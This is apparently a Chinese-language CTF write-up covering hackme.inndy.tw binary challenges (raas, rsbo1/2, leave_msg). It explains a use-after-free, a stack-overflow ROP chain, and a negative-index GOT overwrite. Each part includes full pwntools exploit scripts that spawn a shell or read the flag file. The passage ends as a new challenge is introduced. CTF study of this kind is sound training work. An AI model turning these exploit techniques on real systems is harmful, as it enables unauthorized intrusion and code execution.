由于存在函数指针,那我们只需要存储函数指针的地方改成我们想要的函数,如system函数,然后再配合写入参数sh,就可以getshell了

需要注意的是:由于是32位,只能是4字节的参数,因此只能用system(sh)或者system($0)

在创建和分配堆的时候:

int do_new()
{
  int v1; // eax
  signed int v2; // [esp+0h] [ebp-18h]
  record *v3; // [esp+4h] [ebp-14h]
  size_t size; // [esp+Ch] [ebp-Ch]

  v2 = ask("Index");
  if ( v2 < 0 || v2 > 16 )
    return puts("Out of index!");
  if ( records[v2] )
    return printf("Index #%d is used!\n", v2);
  records[v2] = (int)malloc(0xCu);
  v3 = (record *)records[v2];
  v3->pppp = rec_int_print;
  v3->ffff = rec_int_free;
  puts("Blob type:");
  puts("1. Integer");
  puts("2. Text");
  v1 = ask("Type");
  if ( v1 == 1 )
  {
    v3->u = ask("Value");
  }
  else
  {
    if ( v1 != 2 )
      return puts("Invalid type!");
    size = ask("Length");
    if ( size > 0x400 )
      return puts("Length too long, please buy record service premium to store longer record!");
    v3->u = (uuu)malloc(size);
    printf("Value > ");
    fgets((char *)v3->u, size, _bss_start);
    v3->pppp = rec_str_print;
    v3->ffff = rec_str_free;
  }
  puts("Okey, we got your data. Here is it:");
  return ((int (__cdecl *)(record *))v3->pppp)(v3);
}

可知如果record的value是一个int,那么就由一个chunk存储

如果是string的话,将会再次创建一个chunk进行存储

利用的思路是:

  • 创建chunk0(int)
  • 创建chunk1(string)
  • free chunk1、chunk0
  • 使得相对应的chunk进入fastbin
  • 再次分配chunk2(string)
  • 由于fastbin的分配机制,会导致chunk2的内容写到chunk1的地方
  • 这时写入chunk2的内容为system和sh
  • delete chunk1即调用了system(sh)

exp:

#encoding:utf-8
from pwn import *
context(os="linux", arch="i386",log_level = "debug")

ip ="hackme.inndy.tw"
if ip:
	p = remote(ip,7719)
else:
	p = process("./raas")#, aslr=0

elf = ELF("./raas")
libc = ELF("./libc-2.23.so.i386")
#libc = elf.libc
#-------------------------------------
def sl(s):
	p.sendline(s)
def sd(s):
	p.send(s)
def rc(timeout=0):
	if timeout == 0:
		return p.recv()
	else:
		return p.recv(timeout=timeout)
def ru(s, timeout=0):
	if timeout == 0:
		return p.recvuntil(s)
	else:
		return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
    gdb.attach(p,'')
    pause()
def getshell():
	p.interactive()
#-------------------------------------
def new(idx,Type,Length,Value):
	ru("Act > ")
	sl("1")
	ru("Index > ")
	sl(str(idx))
	ru("Type > ")
	sl(str(Type))
	if Length!=0:
		ru("Length > ")
		sl(str(Length))
	ru("Value > ")
	sl(Value)

def delete(idx):
	ru("Act > ")
	sl("2")
	ru("Index > ")
	sl(str(idx))

def show(idx):
	ru("Act > ")
	sl("3")
	ru("Index > ")
	sl(str(idx))
system = elf.plt["system"]

new(0,1,0,"1")
new(1,2,16,"aaaa")

delete(1)
delete(0)

new(2,2,12,"$0\0\0"+p32(system))

delete(1)
getshell()

rsbo1、2

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled***
    PIE:      No PIE (0x8048000)

这两题的文件都一样的,只不过cat到的flag不同

主要的漏洞点出在这里:

1538915316992

解法做法有很多,

第一种做法是,利用open,read,write函数把/home/ctf/flag中的flag打印出来

第二种是直接getshell,得到/home/ctf/flag的flag和/home/ctf/flagxxxxxxxx的flag(分别对应rsbo1和rsbo2的flag)

用第一种方法的话

exp是这样的:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level="debug"
#p = process('./rsbo1')
p = remote('hackme.inndy.tw', 7706)
elf = ELF('./rsbo1')

start = 0x08048490
open_plt = elf.symbols['open']
read_plt = elf.symbols['read']
write_plt = elf.symbols['write']
log.info("open_plt -->[%s]"%hex(open_plt))
log.info("read_plt -->[%s]"%hex(read_plt))
log.info("read_plt -->[%s]"%hex(write_plt))
bss = elf.bss()
offset = 108
flag_add = 0x80487d0

payload = '\x00'*offset + p32(open_plt) + p32(start) + p32(flag_add)  + p32(0) 
p.send(payload)
payload1 = '\x00'*offset + p32(read_plt) + p32(start) + p32(0x3) + p32(bss) + p32(0x60)
p.send(payload1)
payload2 = '\x00'*offset + p32(write_plt) +p32(0xdeadbeef) + p32(1) + p32(bss) + p32(0x60)
p.send(payload2)

p.interactive()

这里有几点需要注意的:

  • 程序中flag的路径是/home/ctf/flag,但我们本地是没有的,需要自己创建或者打path修改
  • 注意fd = 0时代表标准输入stdin,1时代表标准输出stdout,2时代表标准错误stderr,3~9则代表打开的文件,这里我们只打开了一个文件,那么fd就是3
  • 在栈溢出填充ret_addr的时候,不能用main作为返回地址,要用start才能成功
  • 在填充垃圾字符串的时候,用\x00为了覆盖v8,绕过for循环,否则我们构造的rop链就会被破坏

用第二种方法一起搞定rsbo12的话,就需要直接getshell

getshell的话也有多种做法

下面这种是最简单的,直接用多次返回start,调用函数进行getshell

但这个问题就是,本地怎么打都不通,远程一打就通,醉了醉了

exp如下:

#encoding:utf-8
from pwn import *
context(os="linux", arch="i386",log_level = "debug")

ip =""#hackme.inndy.tw 
if ip:
	p = remote(ip,7706)
else:
	p = process("./rsbo1")

elf = ELF("./rsbo1")
libc = ELF("./libc-2.23.so.i386")
#libc = elf.libc
#-------------------------------------
def sl(s):
	p.sendline(s)
def sd(s):
	p.send(s)
def rc(timeout=0):
	if timeout == 0:
		return p.recv()
	else:
		return p.recv(timeout=timeout)
def ru(s, timeout=0):
	if timeout == 0:
		return p.recvuntil(s)
	else:
		return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
    gdb.attach(p,'')
    pause()
def getshell():
	p.interactive()
#-------------------------------------
write_plt = elf.plt["write"]
write_got = elf.got["write"]
read_plt = elf.plt["read"]
read_got = elf.got["read"]
bss =elf.bss()
write_libc = libc.symbols["write"]
start = 0x08048490
binsh_libc= libc.search("/bin/sh").next()
log.info("bss--->"+hex(bss))

payload ="\x00"*108+p32(write_plt)+p32(start)+p32(1)+p32(read_got)+p32(4)

sd(payload)
read = u32(p.recv(4))
log.info("read--->"+hex(read))

libc_base = read - libc.symbols["read"]
system_addr = libc_base +libc.symbols["system"]
sleep(0.5)

payload2 = "\x00" * 108 + p32(read) + p32(start) + p32(0) + p32(bss) + p32(9)
payload3 = "\x00" * 108 + p32(system_addr) + p32(start) + p32(bss)

sd(payload2)
sl("/bin/sh\0")
sd(payload3)
getshell()

第二种方法就是用栈迁移和_dl_runtime_resolve的方法,由于我太菜了,之前一直说要去学这种方法,然后一直鸽到现在都没学,真香!

这里就没有自己亲自操作这种方法,但我看大佬们都是用这种方法做的:

D4rk3r zs0zrc

ps:寻找常用rop gadget 的命令:

'''
ROPgadget --binary ./rsbo1 --only "mov|xor|pop|ret|call|jmp|leave" --depth 20
Gadgets information
============================================================
0x080483b0 : call 0x80484c6
0x080484f6 : call eax
0x08048533 : call edx
0x08048883 : jmp dword ptr [ebx]
0x080484f8 : leave ; ret
0x080481a8 : mov ah, 0xfe ; ret
0x08048557 : mov al, byte ptr [0xc9010804] ; ret
0x080484f3 : mov al, byte ptr [0xd0ff0804] ; leave ; ret
0x08048530 : mov al, byte ptr [0xd2ff0804] ; leave ; ret
0x08048554 : mov byte ptr [0x804a040], 1 ; leave ; ret
0x08048528 : mov dword ptr [esp + 4], eax ; mov dword ptr [esp], 0x804a040 ; call edx
0x08048578 : mov dword ptr [esp], 0x8049f10 ; call eax
0x080484ef : mov dword ptr [esp], 0x804a040 ; call eax
0x0804852c : mov dword ptr [esp], 0x804a040 ; call edx
0x0804872e : mov eax, 0 ; leave ; ret
0x080484c0 : mov ebx, dword ptr [esp] ; ret
0x0804879f : pop ebp ; ret
0x0804879c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483cd : pop ebx ; ret
0x0804879e : pop edi ; pop ebp ; ret
0x0804879d : pop esi ; pop edi ; pop ebp ; ret
0x080481aa : ret
0x08048608 : ret 0xd089
0x0804850e : ret 0xeac1

Unique gadgets found: 24

'''

leave_msg

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found****
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments****

这题算是有点骚东西的题吧,首先他有几个段是有rwx权限的,首先可能想到的是会用到shellcode

主要就只分析main函数就行了:

int __cdecl main()
{
  int v0; // eax
  signed int i; // [esp+4h] [ebp-424h]
  int index; // [esp+8h] [ebp-420h]
  char nptr; // [esp+Ch] [ebp-41Ch]
  char buf; // [esp+1Ch] [ebp-40Ch]
  char v6; // [esp+24h] [ebp-404h]
  unsigned int v7; // [esp+41Ch] [ebp-Ch]

  v7 = __readgsdword(0x14u);
  setbuf(stdout, 0);
  setbuf(stdin, 0);
  while ( 1 )
  {
    v0 = num++;
    if ( v0 > 2 )//只能输入三次
      break;
    puts("I'm busy. Please leave your message:");
    read(0, &buf, 0x400u);
    puts("Which message slot?");
    read(0, &nptr, 0x10u);
    index = atoi(&nptr);
    if ( strlen(&buf) > 8 )//strlen函数遇到\0就停止计算长度,可通过输入\0绕过
    {
      puts("Message too long, truncated.");
      v6 = 0;
    }
    if ( index <= 64 && nptr != '-' )
	   //atoi函数导致index仍然可以为负数,只需要输入“ -x”,
       //atoi会跳过字符串前面的空格或者换行符,直到遇到数字才进行转换
      list[index] = strdup(&buf);
      //strdup会自动申请一块大小和buf一样的堆块,把buf内容复制进堆块
      //接着把堆地址赋值给list[index]
    else
      puts("Out of bound.");
  }
  puts("Here is your messages:");
  for ( i = 0; i <= 63; ++i )
  {
    if ( list[i] )
      printf("%d: %s\n", i, list[i]);
  }
  puts("Goodbye");
  return 0;
}

1543594211409

由此可以见,0x804a000–0x804b000居然是可以执行的,这里有个骚的地方是,可以在got表写入可执行的代码,在调用某个函数的时候就可以间接执行你的shellcode,但是这里限制了8个字节的长度,那么可写入的shellcode就有限了,仅能做间接跳转使用

这题的思路是这样的:

1、由于存在数组负数越界,就可以往got表修改内容,将got表改成一段汇编指令

2、由于可以绕过8字节检查,通过添加\0把shellcode写进栈里面

3、通过got表中的汇编指令,执行shellcode

首先构造一个输入:"a"*8+"\x00"+"b" * 8

这样可以让"a"*8被存入puts的got表中,同时绕过八个字节长度的限制,将”b” * 8写入栈中

接下来就是调试,我们需要调试出”b” * 8到esp的距离,从而写一条这样的指令add esp,xxx;jmp esp;让程序的执行流程到”b” * 8的地方

在第一次输入后的,再第二次call puts函数前下个断点:0x0804861d

1543593290952

在此处下断点,可以得到我们想要看到的栈布局,从而计算出字符串离esp的偏移

si进入call puts:

1543593816965

这里我们就可以看到:输入的字符串离esp的偏移是0x30,如果puts的got表中的内容是add esp,0x30;jmp esp;那么这里call puts的时候就会直接执行这条语句,导致esp的位置指向输入字符串buf的位置

要指向shellcode的话就往下移动 len(jump)+1,就可以指向shellcode了

这题的主要难点应该是需要绕过平常做题的思维局限,got不一定得写地址,在特定的条件下还能写shellcode进行执行,另外就是调试的要熟练,才能找出0x30的偏移

exp:

#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./leave_msg"
context.binary=bin_elf
elf = ELF(bin_elf)
libc = ELF("./libc-2.23.so.i386")

if sys.argv[1] == "r":
    p = remote("hackme.inndy.tw",7715)
elif sys.argv[1] == "l":
    p = process(bin_elf)
#-------------------------------------
def sl(s):
	return p.sendline(s)
def sd(s):
	return p.send(s)
def rc(timeout=0):
	if timeout == 0:
		return p.recv()
	else:
		return p.recv(timeout=timeout)
def ru(s, timeout=0):
	if timeout == 0:
		return p.recvuntil(s)
	else:
		return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
	return p.sendlineafter(a,s)
def sda(p,a,s):
	return p.sendafter(a,s)
def debug(addr=''):
    gdb.attach(p,'')

def getshell():
	p.interactive()
#-------------------------------------
shellcode = asm(shellcraft.sh())
jump = asm("add esp,0x36;jmp esp;")

sda(p,"I'm busy. Please leave your message:\n",jump+"\x00"+shellcode)
sda(p,"Which message slot?"," -16")

getshell()

stack

    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

这保护全开,有点少见